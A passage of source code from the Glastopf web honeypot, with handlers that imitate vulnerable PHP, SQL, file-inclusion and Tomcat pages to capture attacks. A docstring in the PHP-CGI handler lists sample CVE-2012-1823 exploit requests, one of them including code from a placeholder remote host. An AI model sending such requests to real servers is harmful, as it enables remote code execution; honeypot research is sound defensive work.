more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 16 | # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 17 | 18 | import os 19 | 20 | from glastopf.modules.handlers import base_emulator 21 | 22 | 23 | class FileServer(base_emulator.BaseEmulator): 24 | def __init__(self, data_dir): 25 | super(FileServer, self).__init__(data_dir) 26 | 27 | def handle(self, attack_event): 28 | server_path = os.path.join(self.data_dir, 'server_files') 29 | request_file = attack_event.http_request.request_path.lstrip('/') 30 | if request_file == "": 31 | request_file = "index.html" 32 | response = '' 33 | full_file_path = os.path.abspath(os.path.join(server_path, request_file)) 34 | # path traversal protection 35 | if full_file_path.startswith(self.data_dir) and os.path.isfile(full_file_path): 36 | with open(full_file_path, 'r') as f: 37 | response += f.read() 38 | #response with no content-type header 39 | attack_event.http_request.set_response(response, headers=()) 40 | -------------------------------------------------------------------------------- /glastopf/modules/handlers/emulators/head.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2015 Lukas Rist 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License 5 | # as published by the Free Software Foundation; either version 2 6 | # of the License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 16 | # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 17 | 18 | from glastopf.modules.handlers import base_emulator 19 | 20 | 21 | class HEADRequest(base_emulator.BaseEmulator): 22 | def __init__(self, data_dir): 23 | super(HEADRequest, self).__init__(data_dir) 24 | 25 | def handle(self, attack_event): 26 | attack_event.response = "" 27 | -------------------------------------------------------------------------------- /glastopf/modules/handlers/emulators/lfi.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2015 Jeremy Heng 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License 5 | # as published by the Free Software Foundation; either version 2 6 | # of the License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 16 | # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 17 | 18 | import re 19 | import os 20 | 21 | from glastopf.modules.handlers import base_emulator 22 | 23 | 24 | class LFIEmulator(base_emulator.BaseEmulator): 25 | def __init__(self, data_dir): 26 | super(LFIEmulator, self).__init__(data_dir) 27 | 28 | def virtualdocs_whitelist(self): 29 | whitelist = [] 30 | for root, subFolders, files in os.walk(os.path.join(self.data_dir, 'virtualdocs/')): 31 | for dir_file in files: 32 | whitelist.append(os.path.join(root, dir_file)) 33 | return whitelist 34 | 35 | def clean_path(self, attack_event): 36 | return attack_event.http_request.request_url.split('\0', 1)[0] 37 | 38 | def file_path(self, cleaned_path): 39 | try: 40 | pattern = re.compile(r'(\.\./)*') 41 | result = pattern.split(cleaned_path, maxsplit=1) 42 | path = os.path.join(self.data_dir, 'virtualdocs/linux', result[2]) 43 | except: 44 | path = None 45 | return path 46 | 47 | def handle(self, attack_event): 48 | path = self.file_path(self.clean_path(attack_event)) 49 | try: 50 | if path in self.virtualdocs_whitelist(): 51 | with open(path, "r") as f: 52 | response = f.read() 53 | attack_event.http_request.set_response(response) 54 | else: 55 | raise IOError 56 | except IOError: 57 | # TODO: Make it not finger printable 58 | # Place holder file not found error 59 | response = "Warning: include(vars1.php): failed to open stream: No such file or directory in /var/www/html/anonymous/test.php on line 6 Warning: include(): Failed opening 'vars1.php' for inclusion (include_path='.:/usr/share/pear:/usr/share/php') in /var/www/html/anonymous/test.php on line 6" 60 | attack_event.http_request.set_raw_response(response) -------------------------------------------------------------------------------- /glastopf/modules/handlers/emulators/login.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2015 Phani Vadrevu 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License 5 | # as published by the Free Software Foundation; either version 2 6 | # of the License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 16 | # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 17 | 18 | import os 19 | from random import choice 20 | import codecs 21 | from urlparse import parse_qs 22 | from string import Template 23 | 24 | from glastopf.modules.handlers import base_emulator 25 | 26 | 27 | class LoginEmulator(base_emulator.BaseEmulator): 28 | def __init__(self, data_dir): 29 | super(LoginEmulator, self).__init__(data_dir) 30 | 31 | def handle(self, attack_event): 32 | pages_dir = os.path.join(self.data_dir, 'dork_pages') 33 | dork_page_list = os.listdir(pages_dir) 34 | dork_page = choice(dork_page_list) 35 | with codecs.open(os.path.join(pages_dir, dork_page), "r", "utf-8") as dork_page: 36 | url_dict = parse_qs(attack_event.http_request.request_body) 37 | if ('login' in url_dict) or ('password' in url_dict): 38 | login_msg = "Incorrect login or password! Please try again." 39 | else: 40 | login_msg = "" 41 | with codecs.open(os.path.join(self.data_dir, 'comments.txt'), "r", "utf-8") as comments_txt: 42 | template = Template(dork_page.read()) 43 | response = template.safe_substitute( 44 | login_msg=login_msg, 45 | comments=comments_txt.read()) 46 | attack_event.http_request.set_response(response) 47 | -------------------------------------------------------------------------------- /glastopf/modules/handlers/emulators/options.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2015 Lukas Rist 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License 5 | # as published by the Free Software Foundation; either version 2 6 | # of the License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 16 | # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 17 | 18 | from glastopf.modules.handlers import base_emulator 19 | 20 | 21 | class OPTIONSRequest(base_emulator.BaseEmulator): 22 | def __init__(self, data_dir): 23 | super(OPTIONSRequest, self).__init__(data_dir) 24 | 25 | def handle(self, attack_event): 26 | attack_event.http_request.set_response('', http_code=200, headers=(('Allow', 'OPTIONS, GET, HEAD, POST'),)) 27 | -------------------------------------------------------------------------------- /glastopf/modules/handlers/emulators/php_cgi_rce.py: -------------------------------------------------------------------------------- 1 | # 2 | # This program is free software; you can redistribute it and/or 3 | # modify it under the terms of the GNU General Public License 4 | # as published by the Free Software Foundation; either version 2 5 | # of the License, or (at your option) any later version. 6 | # 7 | # This program is distributed in the hope that it will be useful, 8 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 9 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 10 | # GNU General Public License for more details. 11 | # 12 | # You should have received a copy of the GNU General Public License 13 | # along with this program; if not, write to the Free Software 14 | # Foundation, Inc., 15 | # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 16 | 17 | 18 | import hashlib 19 | import os 20 | import urllib 21 | from glastopf.modules.handlers import base_emulator 22 | 23 | import glastopf.sandbox.sandbox as sandbox 24 | 25 | 26 | class PHPCGIRCE(base_emulator.BaseEmulator): 27 | """ 28 | Emulator for the PHP Remote code execution CVE-2012-1823 29 | 30 | Source disclosure: 31 | "GET /?-s HTTP/1.1" 32 | "GET /?-w HTTP/1.1" 33 | "GET /?-s+%3d HTTP/1.1" 34 | "GET /?-w+%3d HTTP/1.1" 35 | 36 | Code Execution 37 | "GET /?-d+auto_prepend_file=http://REMOTE_INCLUDE HTTP/1.1" 38 | "POST /-d+allow_url_include=on+-d+safe_mode=off+-d+open_basedir=off-d+auto_prepend_file=php://input HTTP/1.0 39 | 40 | 41 | " 42 | 43 | """ 44 | 45 | def __init__(self, data_dir): 46 | super(PHPCGIRCE, self).__init__(data_dir) 47 | self.files_dir = os.path.join(self.data_dir, 'files/') 48 | if not os.path.exists(self.files_dir): 49 | os.mkdir(self.files_dir) 50 | 51 | # TODO duplicate code from rfi.py, refactor it 52 | def get_filename(self, php_code): 53 | file_name = hashlib.md5(php_code).hexdigest() 54 | return file_name 55 | 56 | def store_file(self, php_code): 57 | file_name = self.get_filename(php_code) 58 | if not os.path.exists(os.path.join(self.files_dir, file_name)): 59 | with open(os.path.join(self.files_dir, file_name), 'w+') as local_file: 60 | local_file.write(php_code) 61 | return file_name 62 | 63 | def handle(self, attack_event): 64 | 65 | php_source_code_s = """ 66 | <?php
page 
$_GET['page'];
include(
page);
?>
67 |
""" 68 | 69 | php_source_code_w = """""" 71 | 72 | query_dict = attack_event.http_request.request_query 73 | url = urllib.unquote(attack_event.http_request.request_url).decode('utf8') 74 | 75 | # php -h 76 | # -s Output HTML syntax highlighted source. 77 | # -w Output source with stripped comments and whitespace. 78 | if '-s' in query_dict or '-s+%3d' in query_dict: 79 | attack_event.http_request.set_raw_response(php_source_code_s) 80 | return attack_event 81 | 82 | if '-w' in query_dict or '-w+%3d' in query_dict: 83 | attack_event.http_request.set_raw_response(php_source_code_w) 84 | return attack_event 85 | 86 | # Handle remote code execution 87 | if attack_event.http_request.request_verb == "POST" and \ 88 | "auto_prepend_file=php://input" in url and '-d' in url: 89 | # Read the PHP POST payload calculate the md5 checksum and save the file 90 | # Then call the PHP sandbox and return the expected results 91 | # TODO verify if it's a valid PHP code? 92 | php_file_name = self.store_file(attack_event.http_request.request_body) 93 | response = sandbox.run(php_file_name, self.data_dir) 94 | attack_event.http_request.set_raw_response(response) 95 | return attack_event 96 | 97 | # fallback to display vulnerable source code 98 | attack_event.http_request.set_raw_response(php_source_code_w) 99 | return attack_event 100 | -------------------------------------------------------------------------------- /glastopf/modules/handlers/emulators/phpinfo.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2015 Enrico M. 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License 5 | # as published by the Free Software Foundation; either version 2 6 | # of the License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 16 | # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 17 | 18 | from glastopf.modules.handlers import base_emulator 19 | import os 20 | 21 | 22 | class PHPInfoHandler(base_emulator.BaseEmulator): 23 | def __init__(self, data_dir): 24 | super(PHPInfoHandler, self).__init__(data_dir) 25 | 26 | def handle(self, attack_event): 27 | # The phpinfo simulator returns a static fake phpinfo() page, with 28 | # vulnerable software version (ex: PHP v 4.4.4) 29 | # TODO some information inside the static file can be made dynamic, different for every honeypot installation 30 | # Ex: Server version, server ip, modules versions, and so on 31 | robots_path = os.path.join(self.data_dir, 'phpinfo/phpinfo.html') 32 | with open(robots_path, 'r') as robot_file: 33 | response = robot_file.read() 34 | attack_event.http_request.set_response(response) 35 | return attack_event 36 | -------------------------------------------------------------------------------- /glastopf/modules/handlers/emulators/phpmyadmin.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2015 Louis Liu 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License 5 | # as published by the Free Software Foundation; either version 2 6 | # of the License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 16 | # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 17 | 18 | from string import Template 19 | import hashlib 20 | import time 21 | 22 | from glastopf.modules.handlers import base_emulator 23 | import os 24 | 25 | 26 | class PMAEmulator(base_emulator.BaseEmulator): 27 | def __init__(self, data_dir): 28 | super(PMAEmulator, self).__init__(data_dir) 29 | self.page = None 30 | 31 | def handle(self, attack_event, time_stamp=time.time()): 32 | path = os.path.join(self.data_dir, 'phpmyadmin/script_setup.php') 33 | with open(path, 'r') as setup_php: 34 | self.page = setup_php.read() 35 | m = hashlib.md5() 36 | m.update("%d" % time_stamp) 37 | page_template = Template(self.page) 38 | response = page_template.substitute( 39 | token_value=m.hexdigest() ) 40 | attack_event.http_request.set_response(response) 41 | return attack_event 42 | -------------------------------------------------------------------------------- /glastopf/modules/handlers/emulators/put.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2015 Lukas Rist 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License 5 | # as published by the Free Software Foundation; either version 2 6 | # of the License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 16 | # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 17 | 18 | from glastopf.modules.handlers import base_emulator 19 | 20 | 21 | class PUTRequest(base_emulator.BaseEmulator): 22 | def __init__(self, data_dir): 23 | super(PUTRequest, self).__init__(data_dir) 24 | 25 | def handle(self, attack_event): 26 | attack_event.http_request.set_response('', http_code=201) 27 | -------------------------------------------------------------------------------- /glastopf/modules/handlers/emulators/rfi.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2015 Lukas Rist 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License 5 | # as published by the Free Software Foundation; either version 2 6 | # of the License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 16 | # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 17 | 18 | import urllib2 19 | import hashlib 20 | import os 21 | import re 22 | import logging 23 | import ssl 24 | 25 | import glastopf.sandbox.sandbox as sandbox 26 | from glastopf.modules.handlers import base_emulator 27 | 28 | logger = logging.getLogger(__name__) 29 | 30 | 31 | class RFIEmulator(base_emulator.BaseEmulator): 32 | def __init__(self, data_dir): 33 | super(RFIEmulator, self).__init__(data_dir) 34 | self.downloaded_file_exists = False 35 | self.files_dir = os.path.join(self.data_dir, 'files/') 36 | if not os.path.exists(self.files_dir): 37 | os.mkdir(self.files_dir) 38 | 39 | @classmethod 40 | def extract_url(cls, url): 41 | protocol_pattern = re.compile("=.*(http(s)?|ftp(s)?)", re.IGNORECASE) 42 | matched_protocol = protocol_pattern.search(url).group(1) 43 | # FIXME: Check if the extracted url is actually a url 44 | injected_url = matched_protocol + url.partition(matched_protocol)[2].split("?")[0] 45 | return injected_url.strip("=") 46 | 47 | @classmethod 48 | def get_filename(cls, injected_file): 49 | file_name = hashlib.md5(injected_file).hexdigest() 50 | file_sha256 = hashlib.sha256(injected_file).hexdigest() 51 | return file_name, file_sha256 52 | 53 | def store_file(self, injected_file): 54 | file_name, file_sha256 = self.get_filename(injected_file) 55 | if not os.path.exists(os.path.join(self.files_dir, file_name)): 56 | with open(os.path.join(self.files_dir, file_name), 'w+') as local_file: 57 | local_file.write(injected_file) 58 | else: 59 | self.downloaded_file_exists = True 60 | return file_name, file_sha256 61 | 62 | def download_file(self, url): 63 | injectd_url = self.extract_url(urllib2.unquote(url)) 64 | try: 65 | req = urllib2.Request(injectd_url) 66 | # Set User-Agent to look more credible 67 | req.add_unredirected_header('User-Agent', '-') 68 | # FIXME: We need a timeout on read here 69 | injected_file = urllib2.urlopen(req, timeout=4).read() 70 | # If the file is hosted on a SSL enabled host get the certificate 71 | if re.match('^https', injectd_url, re.IGNORECASE): 72 | proto, rest = urllib2.splittype(injectd_url) 73 | host, rest = urllib2.splithost(rest) 74 | host, port = urllib2.splitport(host) 75 | if port is None: 76 | port = 443 77 | 78 | cert_file = ssl.get_server_certificate((host, int(port))) 79 | cert_name = self.store_file(cert_file) 80 | 81 | except IOError as e: 82 | logger.exception("Failed to fetch injected file, I/O error: {0}".format(e)) 83 | # TODO: We want to handle the case where we can't download 84 | # the injected file but pretend to be vulnerable. 85 | file_name = None 86 | else: 87 | file_name, file_sha256 = self.store_file(injected_file) 88 | return file_name, file_sha256 89 | 90 | def handle(self, attack_event): 91 | if attack_event.http_request.command == 'GET': 92 | attack_event.file_name, attack_event.file_sha256 = self.download_file( 93 | attack_event.http_request.path) 94 | elif attack_event.http_request.command == 'POST': 95 | pass 96 | else: 97 | logger.error("Unsupported method: {0}".format(attack_event.http_request.command)) 98 | if attack_event.file_name: 99 | response = sandbox.run(attack_event.file_name, self.data_dir) 100 | attack_event.http_request.set_raw_response(response) 101 | attack_event.known_file = self.downloaded_file_exists 102 | return attack_event 103 | -------------------------------------------------------------------------------- /glastopf/modules/handlers/emulators/robots.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2015 Lukas Rist 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License 5 | # as published by the Free Software Foundation; either version 2 6 | # of the License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 16 | # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 17 | 18 | from glastopf.modules.handlers import base_emulator 19 | import os 20 | 21 | 22 | class RobotsHandler(base_emulator.BaseEmulator): 23 | def __init__(self, data_dir): 24 | super(RobotsHandler, self).__init__(data_dir) 25 | 26 | def handle(self, attack_event): 27 | robots_path = os.path.join(self.data_dir, 'robots/robots.txt') 28 | with open(robots_path, 'r') as robot_file: 29 | response = robot_file.read() 30 | attack_event.http_request.set_raw_response(response) 31 | return attack_event 32 | -------------------------------------------------------------------------------- /glastopf/modules/handlers/emulators/sqli.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2015 Lukas Rist 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License 5 | # as published by the Free Software Foundation; either version 2 6 | # of the License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 16 | # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 17 | 18 | import re 19 | from textwrap import dedent 20 | 21 | import glastopf.modules.classification.sql as sql 22 | import glastopf.modules.classification.sql_utils.responses as sql_responses 23 | from glastopf.modules.handlers import base_emulator 24 | 25 | 26 | class SQLiEmulator(base_emulator.BaseEmulator): 27 | """Emulates a SQL injection vulnerability and a successful attack.""" 28 | 29 | def __init__(self, data_dir): 30 | self.ret = None 31 | self.sqli_c = sql.SQLiClassifier() 32 | self.sql_response = sql_responses.SQLResponses() 33 | super(SQLiEmulator, self).__init__(data_dir) 34 | 35 | def handle(self, attack_event): 36 | payload = None 37 | value = None 38 | for value_list in attack_event.http_request.request_query.values(): 39 | value = value_list[0] 40 | self.ret = self.sqli_c.classify(value) 41 | if len(self.ret["fingerprint"]) > 0: 42 | best_query, best_ratio = self.sqli_c.query_similarity(self.ret["fingerprint"], value.lower()) 43 | payload = self.sqli_c.token_map[best_query] 44 | if payload and payload["resp"]: 45 | attack_event.http_request.set_raw_response(payload["resp"]) 46 | else: 47 | response = self.sql_response.get_response("mysql_error").content 48 | payload_response = re.sub("PAYLOAD", value, response) 49 | attack_event.http_request.set_raw_response(dedent(payload_response)) 50 | -------------------------------------------------------------------------------- /glastopf/modules/handlers/emulators/style_css.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2015 Lukas Rist 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License 5 | # as published by the Free Software Foundation; either version 2 6 | # of the License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 16 | # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 17 | 18 | import os 19 | from glastopf.modules.handlers import base_emulator 20 | from glastopf.modules.handlers.base_emulator import package_directory 21 | 22 | 23 | class StyleHandler(base_emulator.BaseEmulator): 24 | def __init__(self, data_dir): 25 | super(StyleHandler, self).__init__(data_dir) 26 | 27 | def handle(self, attack_event): 28 | css_file = os.path.join(self.data_dir, 'style/style.css') 29 | with open(css_file, 'r') as style_file: 30 | #attack_event.response = style_file.read() 31 | attack_event.http_request.set_response(style_file.read(), headers=(('Content-type', 'text/css'),)) 32 | return attack_event 33 | -------------------------------------------------------------------------------- /glastopf/modules/handlers/emulators/surface/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mushorg/glastopf/80049d4bd74640a4095984b06bda503d6a4b5ee7/glastopf/modules/handlers/emulators/surface/__init__.py -------------------------------------------------------------------------------- /glastopf/modules/handlers/emulators/surface/create_surface.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2015 Lukas Rist 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License 5 | # as published by the Free Software Foundation; either version 2 6 | # of the License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 16 | # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 17 | 18 | import os 19 | 20 | from glastopf.modules.handlers import base_emulator 21 | 22 | from jinja2 import Environment, FileSystemLoader 23 | 24 | 25 | class SurfaceCreator(base_emulator.BaseEmulator): 26 | def __init__(self, data_dir, conf_parser=None): 27 | super(SurfaceCreator, self).__init__(data_dir) 28 | self.conf_parser = conf_parser 29 | self.template_env = Environment(loader=FileSystemLoader(os.path.join(self.data_dir, "templates"))) 30 | 31 | def get_index(self, title="Title Title", target="/index", body="Some Body", footer="Footer Text"): 32 | template = self.template_env.get_template('index.html') 33 | google_meta = None 34 | bing_meta = None 35 | try: 36 | google_meta = self.conf_parser.get('surface', 'google_meta') 37 | bing_meta = self.conf_parser.get('surface', 'bing_meta') 38 | except: 39 | pass 40 | surface_page = template.render( 41 | title=title, 42 | google_meta=google_meta, bing_meta=bing_meta, 43 | target=target, body=body, footer=footer) 44 | return surface_page 45 | -------------------------------------------------------------------------------- /glastopf/modules/handlers/emulators/tomcat_manager.py: -------------------------------------------------------------------------------- 1 | # 2 | # This program is free software; you can redistribute it and/or 3 | # modify it under the terms of the GNU General Public License 4 | # as published by the Free Software Foundation; either version 2 5 | # of the License, or (at your option) any later version. 6 | # 7 | # This program is distributed in the hope that it will be useful, 8 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 9 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 10 | # GNU General Public License for more details. 11 | # 12 | # You should have received a copy of the GNU General Public License 13 | # along with this program; if not, write to the Free Software 14 | # Foundation, Inc., 15 | # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 16 | 17 | from glastopf.modules.handlers import base_emulator 18 | import os 19 | 20 | 21 | class TomcatManagerHandler(base_emulator.BaseEmulator): 22 | def __init__(self, data_dir): 23 | super(TomcatManagerHandler, self).__init__(data_dir) 24 | 25 | def handle(self, attack_event): 26 | tomcat_manager_path = os.path.join(self.data_dir, 'tomcat/manager.html') 27 | with open(tomcat_manager_path, 'r') as tomcat_manager_file: 28 | attack_event.http_request.set_response(tomcat_manager_file.read()) 29 | return attack_event 30 | -------------------------------------------------------------------------------- /glastopf/modules/handlers/emulators/tomcat_status.py: -------------------------------------------------------------------------------- 1 | # 2 | # This program is free software; you can redistribute it and/or 3 | # modify it under the terms of the GNU General Public License 4 | # as published by the Free Software Foundation; either version 2 5 | # of the License, or (at your option) any later version. 6 | # 7 | # This program is distributed in the hope that it will be useful, 8 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 9 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 10 | # GNU General Public License for more details. 11 | # 12 | # You should have received a copy of the GNU General Public License 13 | # along with this program; if not, write to the Free Software 14 | # Foundation, Inc., 15 | # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 16 | 17 | from glastopf.modules.handlers import base_emulator 18 | import os 19 | 20 | 21 | class TomcatManagerStatusHandler(base_emulator.BaseEmulator): 22 | def __init__(self, data_dir): 23 | super(TomcatManagerStatusHandler, self).__init__(data_dir) 24 | 25 | def handle(self, attack_event): 26 | tomcat_manager_path = os.path.join(self.data_dir, 'tomcat/manager_status.html') 27 | with open(tomcat_manager_path, 'r') as tomcat_manager_file: 28 | attack_event.http_request.set_response(tomcat_manager_file.read()) 29 | return attack_event 30 | -------------------------------------------------------------------------------- /glastopf/modules/handlers/emulators/trace.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2015 Lukas Rist 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License 5 | # as published by the Free Software Foundation; either version 2 6 | # of the License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 16 | # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 17 | 18 | from glastopf.modules.handlers import base_emulator 19 | 20 | 21 | class TraceHandler(base_emulator.BaseEmulator): 22 | def __init__(self, data_dir): 23 | super(TraceHandler, self).__init__(data_dir) 24 | 25 | def handle(self, attack_event): 26 | attack_event.response += attack_event.raw_request 27 | return attack_event 28 | -------------------------------------------------------------------------------- /glastopf/modules/handlers/emulators/unknown.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2015 Lukas Rist 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License 5 | # as published by the Free Software Foundation; either version 2 6 | # of the License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 16 | # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 17 | 18 | import os 19 | from random import choice 20 | import codecs 21 | from string import Template 22 | 23 | from glastopf.modules.handlers import base_emulator 24 | 25 | 26 | class DorkList(base_emulator.BaseEmulator): 27 | def __init__(self, data_dir): 28 | super(DorkList, self).__init__(data_dir) 29 | self.template = None 30 | 31 | def _get_template(self, attack_event): 32 | # TODO: decode the file using chardet or even better create 33 | # them with utf-8 encoding 34 | pages_path = os.path.join(self.data_dir, 'dork_pages') 35 | dork_page_list = os.listdir(pages_path) 36 | self.dork_page = os.path.join(pages_path, choice(dork_page_list)) 37 | #ip_address = attack_event.source_addr[0] 38 | with codecs.open(self.dork_page, "rb", "utf-8") as dork_page: 39 | comments_file = os.path.join(self.data_dir, 'comments.txt') 40 | if os.path.isfile(comments_file): 41 | with codecs.open(comments_file, "r", "utf-8") as comments_txt: 42 | general_comments = comments_txt.read() 43 | #ip_comments = profiler.Profiler.get_comments(ip_address) 44 | #display_comments = str(ip_comments) + str(general_comments) 45 | display_comments = '' + str(general_comments) 46 | else: 47 | display_comments = '' 48 | template = Template(dork_page.read()) 49 | return template, display_comments 50 | 51 | def handle(self, attack_event): 52 